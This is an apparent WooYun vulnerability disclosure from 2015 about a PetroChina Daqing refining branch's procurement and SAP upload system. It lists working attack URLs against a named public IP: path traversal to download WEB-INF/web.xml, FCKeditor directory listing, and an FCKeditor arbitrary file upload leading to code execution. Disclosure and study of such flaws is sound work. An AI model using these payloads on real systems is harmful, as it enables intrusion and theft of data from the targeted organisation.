中石油某分公司系统漏洞打包可威胁内网

发表于 2015年07月04日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0124498

漏洞标题：中石油某分公司系统漏洞打包可威胁内网

相关厂商：中国石油天然气集团公司

漏洞作者：茜茜公主

提交时间：2015-07-04 16:59

公开时间：2015-08-20 14:58

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

Tags标签：

漏洞详情

披露状态：

2015-07-04: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商已经确认，细节仅向厂商公开
2015-07-16: 细节向核心白帽子及相关领域专家公开
2015-07-26: 细节向普通白帽子公开
2015-08-05: 细节向实习白帽子公开
2015-08-20: 细节向公众公开

简要描述：

漏洞打包，可威胁内网

详细说明：

中国石油天然气股份有限公司大庆炼化分公司物资供应资源管理系统与SAP上传下载系统ip地址：http://203.90.140.115/logonAction.do

1#任意文件下载

http://203.90.140.115/b2b/web/fileuploadAction.do?method=downLoad&fileName=web.xml&fileType=application/octet-stream&fjbh=web&fjml=/fileuploadsave/SCFBXX/../../WEB-INF/

1	http://203.90.140.115/b2b/web/fileuploadAction.do?method=downLoad&fileName=web.xml&fileType=application/octet-stream&fjbh=web&fjml=/fileuploadsave/SCFBXX/../../WEB-INF/

2#fck编辑器目录遍历

http://203.90.140.115/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/../../../

1	http://203.90.140.115/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/../../../

漏洞证明：

3#fck任意文件上传

http://203.90.140.115/fckeditor/editor/filemanager/browser/default/browser.html?Connector=http://203.90.140.115/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector

1	http://203.90.140.115/fckeditor/editor/filemanager/browser/default/browser.html?Connector=http://203.90.140.115/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector